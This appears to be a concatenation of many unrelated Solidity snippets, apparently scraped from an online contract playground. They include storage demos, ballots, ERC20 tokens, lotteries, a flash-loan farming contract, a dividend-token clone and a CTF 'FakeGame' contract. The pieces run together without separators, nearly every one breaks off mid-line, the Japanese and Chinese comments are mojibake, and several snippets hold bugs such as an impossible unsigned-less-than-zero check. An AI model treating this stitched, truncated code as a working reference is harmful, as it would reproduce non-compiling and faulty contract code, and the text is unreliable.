// Genderã¯åˆ—挙型ã§å®šç¾©ã™ã‚‹. リーダビリティã«å¯„与ã™ã‚‹ä»–ã€booleanã§ã¯isFemaleç‰ã®keyã«ãªã‚‹ã®ã¯ã‚ˆã‚ã—ããªã„ãŸã‚。
enum Gender {
Female,
Male
}
/***
* structã®å‘½åã¯PascalCase.
* ageã¯2^16-1 = 65535ã‚‚ã‚れã°å分.
* ä»Šå›žã¯æœ€é©åŒ–ã•れãªã„ãŒã€å¸¸ã«å¿…è¦ãªã ã‘ã®bitæ•°ã®Integerを用ã„ã‚‹ã‚ˆã†æ°—ã‚’ã¤ã‘ã‚‹.
* structã®æœ€é©åŒ–ã«ã¤ã„ã¦ã¯ã€https://mudit.blog/solidity-gas-optimization-tips/
*/
struct Member {
string name;
uint16 age;
Gender gender;
}
/***
* 変数ã¯åŸºæœ¬çš„ã«privateã«ã™ã‚‹ã€‚
* publicã§ã‚ã‚‹ã¨è‡ªå‹•ã§getterメソッドãŒç”Ÿãˆã¦ã—ã¾ã†ã€‚
* プãƒã‚°ãƒ©ãƒ ã®è²¬ä»»ç¯„囲を明確ã«ã™ã‚‹ãŸã‚ã«ã€è‡ªå‰ã§getterを用æ„ã™ã‚‹.
*/
mapping(address => Member) private addressToMember;
/***
* 関数ã¯å•題ãŒãªã„é™ã‚Šexternalã«ã™ã‚‹ã€‚gasコストã
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
/* åˆç´„本體 */
contract SimpleAdd {
/* 變數宣告 */
uint number = 44;
// ... 更多變數
/* 函數定義 */
function getNumber() public view returns (uint) {
return number;
}
// ... 更多函數
function increase() public {
number++;
}
}
contract mortal {
/* Define variable owner of the type address */
address owner;
string str;
/* This function is executed at initialization and sets the owner of the contract */
function mortal() { owner = msg.sender; }
/* Function to recover the funds on the contract */
function kill() { if (msg.sender == owner) selfdestruct(owner); }
function set(string val) public {
str = val;
}
function get() public constant returns (string) {
return str;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.21;
contract PAYGOReceivable {
// Property for storing the contract owner
address public owner;
// Coutner property, used for new monster ids
uint256 paygo_serial = 0;
uint256 total_amount = 0;
uint256 amount_paid = 0;
uint256 timestamp_start = 0;
uint256 timestamp_maturity = 0;
// Struct, defining our Cookie Monster with name, id and level fields
struct CookieMonster {
string name;
uint256 id;
uint16 level;
}
// Array of all of the created Monsters
CookieMonster[] public monsters;
// Constructor function, setting the contract owner from msg.sender
function CryptoCookieMonsters() public {
owner = msg.sender;
}
function amountMonsters() public view returns (uint256) {
return monsters.length;
}
// Function for creating new CookieMonster
function createCookieMonster() public {
// Created new monster with name Test Monster, id from coun
pragma solidity ^0.5.17;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Code written for SamPriestley.com
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
//The code written by money-legos to make flash loans easier
import "../Contract/DydxFlashLoanBase.sol";
import "../Contract/Interfaces/ICallee.sol";
//Interfaces to call outside contracts
interface IErc20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint);
}
interface ICErc20 is IErc20{
function mint(uint mintAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function underlying() external returns (address);
}
interface IComptroller{
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
}
contract CompFarmer is DydxFlashloanBase, ICallee {
address public immutable contractOwner;
//Addresses of outside currencies
address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
// The code written by money-legos to make flash loans easier
import "../Contract/DydxFlashLoanBase.sol";
import "../Contract/Interfaces/ICallee.sol";
//Interfaces to call outside contracts
interface IErc20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint);
}
interface ICErc20 is IErc20{
function mint(uint mintAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function underlying() external returns (address);
}
interface IComptroller{
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
}
contract CompFarmer is DydxFlashloanBase, ICallee {
address public immutable contractOwner;
//Addresses of outside currencies
address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
address private
pragma solidity ^0.5.17;
import "./ERC20.sol";
import "./PortLibrary.sol";
//import "./StarSystemControls.sol";
contract rbitToken is ERC20 {
using PortLibrary for PortLibrary.PortStorage;
PortLibrary.PortStorage Ports;
// when this contract runs for the first time.
// It deposits 1000 tokens into the contract owner address
constructor() public {
_mint(msg.sender, 1000);
}
function claimPortRewards(uint256 id,address owner) public returns(bool) {
// Idea is to get port owner's address and check whether it is empty.
// As of now ports are not being traded so once claimed owner will always remain the same.
owner = Ports.ports[id].owner;
require(owner != address(0));
// if the condition satisfies then mint 100 tokens to his name
_mint(owner,100);
return true;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.4.22 <0.6.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
// Create a new ballot with $(_numProposals) different proposals.
constructor(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
// Give $(toVoter) the right to vote on this ballot.
// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
wh
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20Burnable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20Pausable.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract wi
pragma solidity ^0.6.12;
contract SimpleStore {
constructor() {
owner = msg.sender;
}
address owner;
struct person {
string name;
string gender;
int256 age;
}
mapping(address => person) addressToPerson;
modifier onlyOwner() {
require(owner == msg.sender, "Only owner can call this function.");
_;
}
function set(
address _address,
string memory _name,
string memory _gender,
int256 _age
) public onlyOwner {
person memory member = person(_name, _gender, _age);
addressToPerson[_address] = member;
addressToPerson[_address] = person(_name, _gender, _age);
}
function getName(address _address) public view returns (string memory) {
string memory name = addressToPerson[_address].name;
return name;
}
}
pragma solidity ^0.4.24;
contract Bank {
uint256 chequesDeposited;
function depositCheque (uint[] cheques) external {
for (uint8 i =0; i < cheques.length; i++)
_depositCheque(cheques[i]);
}
function _depositCheque(uint cheque) internal {
require (msg.value == cheque);
chequesDeposited = chequesDeposited + cheque;
}
pragma solidity ^0.4.24;
contract Test {
function encodePrefix() public pure returns (bytes) {
return abi.encodePacked("\x19Ethereum Signed Message:\n32");
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant statictext = "a594b185-f66b-44fe-a702-3aa0c922dc50";
bytes32 constant byteText = keccak256("HelloStackOverFlow");
function getString() payable public returns(string){
return statictext;
}
function getByte() payable public returns(bytes32){
return byteText;
}
/**
*Submitted for verification at Etherscan.io on 2018-04-10
*/
pragma solidity ^0.4.20;
contract GandhiJi {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlybelievers () {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyhodler() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.send
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.25 <0.6.0;
contract AssetTransfer
{
enum StateType { Active, OfferPlaced, PendingInspection, Inspected, Appraised, NotionalAcceptance, BuyerAccepted, SellerAccepted, Accepted, Terminated }
address public InstanceOwner;
string public Description;
uint public AskingPrice;
StateType public State;
address public InstanceBuyer;
uint public OfferPrice;
address public InstanceInspector;
address public InstanceAppraiser;
constructor(string memory description, uint256 price) public
{
InstanceOwner = msg.sender;
AskingPrice = price;
Description = description;
State = StateType.Active;
}
function Terminate() public
{
if (InstanceOwner != msg.sender)
{
revert();
}
State = StateType.Terminated;
}
function Modify(string memory description, uint256 price) public
{
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
function closest(uint32[] memory list, uint32 num) public pure returns (uint) {
uint32 curr = list[0];
uint index = 0;
for (uint i; i < list.length; i++) {
if (abs(num - list[i]) <= abs(num - curr)) {
curr = list[i];
index = i;
}
}
return index;
}
function abs (uint32 x) private pure returns (uint32) {
return x < 0 ? uint32(-x) : uint32(x);
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ReentrancyGuard {
uint256 private guardCounter = 1;
modifier nonReentrant() {
guardCounter += 1;
uint256 localCounter = guardCounter;
_;
require(localCounter == guardCounter);
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external view returns (bool);
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(address _operator, address _from, uint256 _tokenI
/**
*Submitted for verification at Etherscan.io on 2018-10-29
*/
contract HackingLabTools{
//Welcome To HackingLab.cn
//TXkgV2VjaGF0IGlzIENwbHVzSHVhLCBubyBuZWVkIHRvIGhlc2l0YXRlLCBhZGQgbWUgbm93IQ==
function answerCompare(uint256 _answer, bytes32 _user_answer) public constant returns (bool){
bytes32 system_answer = keccak256(keccak256(_answer), abi.encodePacked(msg.sender));
if(system_answer == _user_answer){
return true;
}
return false;
}
function getAddressAnswerKeccak256(uint256 _answer,address _address)public constant returns (bytes32){
bytes32 system_answer = keccak256(keccak256(_answer), abi.encodePacked(_address));
return system_answer;
}
}
contract FakeGame is HackingLabTools{
uint256 luckyNum = 888;
uint256 public last;
struct Game {
address player;
bytes32 number;
}
Game[] public gameHistory;
address owner = msg.sender;
function guess(bytes32 _user_answer) public constant r
pragma solidity ^0.5.0;
contract Election {
// Model a Candidate
struct Candidate {
uint id;
string name;
uint voteCount;
}
// Store accounts that have voted
mapping(address => bool) public voters;
// Read/write candidates
mapping(uint => Candidate) public candidates;
// Store Candidates Count
uint public candidatesCount;
event votedEvent (
uint indexed _candidateId
);
constructor () public {
addCandidate("Candidate 1");
addCandidate("Candidate 2");
}
function addCandidate (string memory _name) private {
candidatesCount ++;
candidates[candidatesCount] = Candidate(candidatesCount, _name, 0);
}
function vote (uint _candidateId) public {
// require that they haven't voted before
require(!voters[msg.sender],
" voted before");
// require a valid candidate
require(_candidateId > 0 && _candidateId <= candidatesCount,
"not Valid candidate
import "remix_tests.sol"; // this import is automatically injected by Remix.
import "./ballot.sol";
contract test3 {
Ballot ballotToTest;
function beforeAll () public {
ballotToTest = new Ballot(2);
}
function checkWinningProposal () public {
ballotToTest.vote(1);
Assert.equal(ballotToTest.winningProposal(), uint(1), "1 should be the winning proposal");
}
function checkWinninProposalWithReturnValue () public view returns (bool) {
return ballotToTest.winningProposal() == 1;
}
}
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/access/Roles.sol";
contract HealthCare {
using Roles for Roles.Role;
Roles.Role private superAdmins;
Roles.Role private hospitalAdmins;
Roles.Role private receptionist;
Roles.Role private doctor;
Roles.Role private patient;
Roles.Role private pharmacist;
Roles.Role private radiologist;
Roles.Role private pathologist;
constructor() public {
superAdmins.add(msg.sender);
}
//StructureOfPatient'sRecord
struct patientRecords{
address patient;
string fname;
string lname;
uint age;
string[] ipfs;
}
mapping(address=>patientRecords) patientDetails;
address[] public patientAccounts;
//inputtingBasicData(name,age)
function addPatientDetails(address _patientAddress,string calldata _fname,string calldata _lname,uint _age)
external onlyReceptionist(){
patientDetails[_patientAddress].fname = _fname;
patientDetails[
pragma solidity ^0.4.24; /*宣告智能åˆç´„的版本
/* åˆç´„本體 */
contract SimpleAdd { /*SimpleAdd智能åˆç´„çš„åå—
/* 變數宣告 */
uint number = 0;
// ... 更多變數
/* 函數定義 */
function getNumber() public view returns (uint) {
return number;
}
// ... 更多函數
function increase() public {
number++;
}
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
contract Bank {
using SafeMath for *;
uint public totalShares = 0;
uint public totalReleased = 0;
mapping(address => uint) public shares;
mapping(address => uint) public released;
address[] public payees;
function Bank(address[] _payees, uint[] _shares) public payable {
require(_payees.length == _shares.length);
for (uint i = 0; i < _payees.length; i++) {
addPayee(_payees[i], _shares[i]);
}
}
function addPayee(address _payee, uint _shares) internal {
require(_payee != address(0));
require(_shares > 0);
require(shares[_payee] == 0);
payees.push(_payee);
shares[_payee] = _shares;
totalShares = totalShares.add(_shares);
}
function claim() public {
address payee = msg.sender;
require(shares[payee] > 0);
uint totalReceived = this.balance.add(totalReleased);
uint payment = totalReceived.mul(shares[payee]).div(totalShares).sub(released[payee]);
pragma solidity ^0.5.0;
import "./Roles.sol";
contract ERC20Interface{
function totlasupply() public view returns(uint);
function balanceOf (address tokenOwner) public view returns(uint balance);
function transfer(address to, uint tokens) public returns(bool success);
function allowance(address TokenOwner, address spender) public view returns(uint remaining);
function approve(address spender, uint token) public returns(bool success);
function transferFrom(address from, address to, uint token) public returns(bool success);
event Transfer(address indexed from, address indexed to,uint tokens);
event Approval(address indexed tokenOwner,address indexed spender,uint token);
}
contract Crypto is ERC20Interface{
using Roles for Roles.Role;
Roles.Role private Deployer;
Roles.Role private admins;
Roles.Role private publishers;
Roles.Role private voters;
Roles.Role private solvers;
Roles.Role private guests;
string public name="
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract IPFS {
struct
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract {
pragma solidity ^0.4.18;
contract ApprovalContract {
address public sender;
address public receiver;
address public constant approver = 0x95c2332b26bb22153a689ae619d81a6c59e0a804;
function deposit(address _receiver) external payable {
require(msg.value > 0);
sender = msg.sender;
receiver = _receiver;
}
function viewApprover() external pure returns(address) {
return(approver);
}
function approve() external {
require(msg.sender == approver);
receiver.transfer(address(this).balance);
}
pragma solidity ^0.4.24;
// import 'openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v1.12.0/contracts/token/ERC20/StandardToken.sol
// https://github.com/OpenZeppelin/openzeppelin-contracts/tree/v1.12.0/contracts/token/ERC20
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {return 0;}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {return _a / _b;}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// --------------------------------
pragma solidity ^0.4.24;
// import 'openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v1.12.0/contracts/token/ERC20/StandardToken.sol
// https://github.com/OpenZeppelin/openzeppelin-contracts/tree/v1.12.0/contracts/token/ERC20
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {return 0;}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {return _a / _b;}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// --------------------------------
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.4.22 <0.7.0;
contract sampleContract {
function get () public {
aLib.doStuff();
}
}
library aLib {
function doStuff() public {
}
}
import "github.com/oraclize/ethereum-api/provableAPI_0.4.25.sol";
pragma solidity 0.4.25;
contract Lottery is usingOraclize {
address public manager;
address[] public players;
uint public randomNumber;
uint public lotteryEndDate;
bool public isRndNumberGenerated;
bool public paidOut;
constructor() public {
manager = msg.sender;
lotteryEndDate = 1591333505;
oraclize_setProof(proofType_Ledger);
}
modifier restricted() {
require(msg.sender == manager);
_;
}
function enter() public payable {
require(msg.value > .1 ether);
players.push(msg.sender);
}
function payOut() public {
require(lotteryEndDate < block.time);
require(isRndNumberGenerated == true);
require(paidOut == false);
uint index = randomNumber % players.length;
players[index].transfer(address(this).balance / 2);
manager.transfer(address(this).balance / 2);
import "github.com/oraclize/ethereum-api/provableAPI_0.4.25.sol";
pragma solidity 0.4.25;
contract Lottery is usingOraclize {
address public manager;
address[] public players;
uint public randomNumber;
uint public lotteryEndDate;
bool public isRndNumberGenerated;
bool public paidOut;
constructor() public {
manager = msg.sender;
lotteryEndDate = 1591333505;
oraclize_setProof(proofType_Ledger);
}
modifier restricted() {
require(msg.sender == manager);
_;
}
function enter() public payable {
require(msg.value > .1 ether);
players.push(msg.sender);
}
function payOut() public {
require(lotteryEndDate < block.time);
require(isRndNumberGenerated == true);
require(paidOut == false);
uint index = randomNumber % players.length;
players[index].transfer(address(this).balance / 2);
manager.transfer(address(this).balance / 2);
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at Etherscan.io on 2020-05-14
*/
pragma solidity >=0.5.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
interface IGateway {
function mint(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes calldata _sig) external returns (uint256);
function burn(bytes calldata _to, uint256 _amount) external returns (uint256);
}
interface IGatewayRegistry {
function getGatewayBySymbol(string calldata _tokenSymbol) external view returns (IGateway);
function getTokenBySymbol(string calldata _tokenSymbol) external view returns (IERC20);
}
contract Basic {
IGatewayRegistry public registry;
event Deposit(uint256 _amount, bytes _msg);
event Withdrawal(bytes _to, uint256 _amount, bytes _msg);
constructor(IGatewayRegistry _registry) public {
registry = _registry;
}
function deposit(
// Parameters from users
bytes calldata _msg,
// Parameters from Darknodes
pragma solidity ^0.6.8;
library SpecEnums {
enum UserType {noUser, buyer, seller}
}
library SpecLibrary {
using SpecEnums for SpecEnums.UserType;
struct User {
bytes32 userName;
uint64 userContact;
uint8 userGender;
bytes32 userEmail;
string userAddr;
uint32[] orders;
SpecEnums.UserType userType;
}
struct Item {
bytes32 itemName;
uint8 itemType;
uint256 itemPrice;
bytes32 itemDetails;
bytes32 itemBrand;
uint8 itemColor;
bytes32 imageId;
uint32 availableCount;
uint256 disputePrice;
address payable seller;
}
struct Order {
address payable BuyerAddr;
uint256 timeStamp;
string orderDetails;
uint256 totalPrice;
mapping(uint32 => uint32) prodCount;
mapping(uint32 => bool) isOrdered;
mapping(uint32 => bool) isConfirmed;
mapping(uint32 => bool) isRejected;
mapping(uint32 => bool) i
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.24;
contract ERC20Interface{
function totlasupply() public view returns(uint);
function balanceOf (address tokenOwner) public view returns(uint balance);
function transfer(address to, uint tokens) public returns(bool success);
function allowance(address TokenOwner, address spender) public view returns(uint remaining);
function approve(address spender, uint token) public returns(bool success);
function transferFrom(address from, address to, uint token) public returns(bool success);
event Transfer(address indexed from, address indexed to,uint tokens);
event Approval(address indexed tokenOwner,address indexed spender,uint token);
}
contract Crypto is ERC20Interface{
string public name="Ashis";
string public symbol="AKP";
uint public decimals=0;
uint public supply;
address public founder;
event Transfer(address indexed from, address indexed to,uint tokens);
constructor ()public{
supply=1000000;
pragma solidity >= 0.4.22 < 0.5;
import "./SafeMath.sol";
import "./provableAPI_0.4.25.sol";
contract SnakesAndLadders is usingProvable {
using SafeMath for uint; // uint256
using SafeMath for uint8; // 0-255
// All balances
mapping(address => uint) public balances;
uint public totalBalance;
// Oracle
mapping(bytes32 => address) idPlayer;
mapping(bytes32 => uint) idAmount;
// Payout addresses
address private payout1;
address private payout2;
// Board composition
uint8 constant private tiles = 100;
mapping(uint8 => uint8) private boardElements;
// Player: is true if it's the user, otherwise is the AI
// Turn: starting from 1
// Move: the dice move from 1 to 6
event LogGame(address sender, bool result, int balancediff, uint seed);
event LogAddPlayerFunds(address sender, uint amount);
event LogWithdrawPlayerFunds(address sender, uint amount);
event LogAddFunds(address sender, uint amount);
event LogPayout(address sen
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
value = 1;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.18;
contract PartnerData {
struct Partner {
string name;
string p_type;
}
mapping(string => Partner) partners;
function create(string _name, string _type) public {
partners[_name] = Partner({ name: _name, p_type: _type });
}
function getType(string name) public constant returns (string) {
return partners[name].p_type;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
value = 1;
value = 2;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
value = 1;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.6.2;
import "https://raw.githubusercontent.com/smartcontractkit/chainlink/develop/evm-contracts/src/v0.6/VRFConsumerBase.sol";
contract RandomGenerator is VRFConsumerBase {
bytes32 public reqId;
uint256 public randomNumber;
constructor(address _vrfCoordinator, address _link) VRFConsumerBase(_vrfCoordinator, _link) public {
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) external override {
reqId = requestId;
randomNumber = randomness;
}
pragma solidity ^0.6.2;
import "https://raw.githubusercontent.com/smartcontractkit/chainlink/develop/evm-contracts/src/v0.6/VRFConsumerBase.sol";
contract RandomGenerator is VRFConsumerBase {
constructor(address _vrfCoordinator, address _link) VRFConsumerBase(_vrfCoordinator, _link) public {
}
pragma solidity ^0.6.2;
import "https://raw.githubusercontent.com/smartcontractkit/chainlink/develop/evm-contracts/src/v0.6/VRFConsumerBase.sol";
contract RandomGenerator is VRFConsumerBase {
//example contract address: https://etherscan.io/address/0x1d6cbd79054b89ade7d840d1640a949ea82b7639#code
pragma solidity ^0.4.26;
contract UniswapExchangeInterface {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenT
pragma solidity ^0.5.16;
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
}
interface ISystemStatus {
function setUpgrading(bool status) external;
}
interface IProxy {
function setTarget(address target) external;
}
interface ISynthetix {}
interface IMigration {
// pass the index to handle situations where the migration takes a few transactions to process
function migrate(uint256 index) external;
function numOfScripts() external view returns (uint);
}
contract Owned {
constructor(address owner) {}
modifier onlyOwner {
_;
}
}
contract DelegatedMigrator is Owned {
uint waitingPeriod;
struct Migration {
bytes32 name;
IMigration target;
uint acceptedTimestamp;
}
IAddressResolver resolver = IAddressResolver(0x00000000000000000000000000000000000000000);
mapping(bytes32 => Migration) proposals;
constructor(address _owner) public Owned(_owner) {
waitingPeriod = 3
pragma solidity ^0.4.25;
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
}
interface ISystemStatus {
function setUpgrading(bool status) external;
}
interface IProxy {
function setTarget(address target) external;
}
interface ISynthetix {}
interface IMigration {
// pass the index to handle situations where the migration takes a few transactions to process
function migrate(uint256 index) external;
function numOfScripts() external view returns (uint);
}
contract Owned {
constructor(address owner) {}
modifier onlyOwner {
_;
}
}
contract DelegatedMigrator is Owned {
uint waitingPeriod;
struct Migration {
bytes32 name;
IMigration target;
uint acceptedTimestamp;
}
IAddressResolver resolver = IAddressResolver(0x00000000000000000000000000000000000000000);
mapping(bytes32 => Migration) proposals;
constructor(address _owner) public Owned(_owner) {
waitingPeriod = 3
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// Specifies that the source code is for a version
// of Solidity greater than 0.5.0
pragma solidity >=0.5.0 <0.7.0;
// A contract is a collection of functions and data (its state)
// that resides at a specific address on the Ethereum blockchain.
contract Coin {
// The keyword "public" makes variables accessible from outside a contract
// and creates a function that other contracts or SDKs can call to access the value
// An address stores addresses of contracts or external (user) accounts
address public minter;
// A mapping lets you create complex custom data types.
// This mapping assigns an unsigned integer to an address
// and is also a public variable.
mapping (address => uint) public balances;
// Events allow Ethereum clients to react to specific
// contract changes you declare.
// This defines the event and it is sent later
event Sent(address from, address to, uint amount);
// A special function only run during the creation of the contract
co
mysql -u root -
/**
*Submitted for verification at Etherscan.io on 2018-04-10
*/
pragma solidity ^0.4.20;
/*
*A reincarnation of Mahatma Gandhi, born again to live forever on the Ethereum Blockchain
dddddddd
GGGGGGGGGGGGG d::::::dhhhhhhh iiii jjjj iiii iiii
GGG::::::::::::G d::::::dh:::::h i::::i j::::j i::::i i::::i
GG:::::::::::::::G d::::::dh:::::h iiii jjjj iiii iiii
G:::::GGGGGGGG::::G d:::::d
pragma solidity >=0.4.20 <0.7.0;
contract HelloWorld{
uint public balance;
constructor() public{
balance = 0;
}
function update(uint amount) public returns (address, uint){
balance += amount;
return (msg.sender, balance);
}
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
/
